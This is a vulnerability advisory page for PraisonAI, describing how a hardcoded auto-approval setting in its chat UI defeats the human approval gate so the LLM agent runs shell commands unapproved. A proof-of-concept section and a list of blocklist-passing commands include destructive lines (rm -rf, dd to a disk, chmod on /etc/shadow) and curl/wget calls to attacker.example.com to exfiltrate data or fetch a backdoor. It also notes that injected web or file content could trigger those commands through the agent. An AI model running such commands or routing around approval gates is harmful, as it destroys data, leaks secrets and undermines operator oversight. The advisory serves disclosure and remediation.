Skip to content

GHSA-qwgj-rrpj-75xm CVE-2026-56075

PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution

High PyPI
Severity
8.7 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.60%
Chance of exploitation in the next 30 days. Higher than 48.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
4.5.128
Upgrade praisonai to this version or later

Description

Summary

The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

Details

The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.

However, both UI modules unconditionally override this after loading:

chat.py:156-159:

config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config

code.py:155-158:

config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override

This flows to agent_tools.py:347-348 in the acp_execute_command function:

auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)

The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:

result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)

Command sanitization is insufficient. Two blocklists exist:

  1. _sanitize_command() at agent_tools.py:60-86 blocks: $(, `, &&, ||, >>, >, |, ;, &, \n, \r
  2. _apply_step() at action_orchestrator.py:449 blocks: ;, &, |, $, `

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.

PoC

Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.

# Step 1: Start the Chainlit UI
praisonai ui chat

# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin

# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"

# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat

# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override

Commands that bypass sanitization blocklists:

  • rm -rf /home/user/documents — no blocked characters
  • chmod 777 /etc/shadow — no blocked characters
  • curl http://attacker.example.com/exfil — no blocked characters
  • wget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characters
  • python3 -c "__import__('os').unlink('/important/file')" — no blocked characters

Impact

  • Arbitrary command execution: An authenticated user (or attacker with default admin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.
  • Confidentiality breach: Read arbitrary files accessible to the process (/etc/passwd, application secrets, environment variables containing API keys).
  • Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
  • Availability impact: Kill processes, consume disk/memory, delete critical data.
  • Administrator control undermined: Even administrators who explicitly set PRAISON_APPROVAL_MODE=manual to require human approval have their configuration silently overridden, creating a false sense of security.
  • Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.

Recommended Fix

Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:

# Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto"  # Trust mode - auto-approve all tool executions

# After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
# Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval

Additionally, strengthen _sanitize_command() to use an allowlist approach rather than a blocklist:

import shlex

ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}

def _sanitize_command(command: str) -> str:
    # Existing blocklist checks...
    
    # Additionally, check the base command against allowlist
    try:
        parts = shlex.split(command)
    except ValueError:
        raise ValueError(f"Could not parse command: {command!r}")
    
    base_cmd = os.path.basename(parts[0]) if parts else ""
    if base_cmd not in ALLOWED_COMMANDS:
        raise ValueError(
            f"Command {base_cmd!r} is not in the allowed command list. "
            f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
        )
    
    return command

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
< 4.5.128
4.5.128

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.5.128

pip
pip install --upgrade "praisonai>=4.5.128"
poetry
poetry add "praisonai>=4.5.128"
uv
uv add "praisonai>=4.5.128"

Severity breakdown

CVSS 4.0 8.7

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor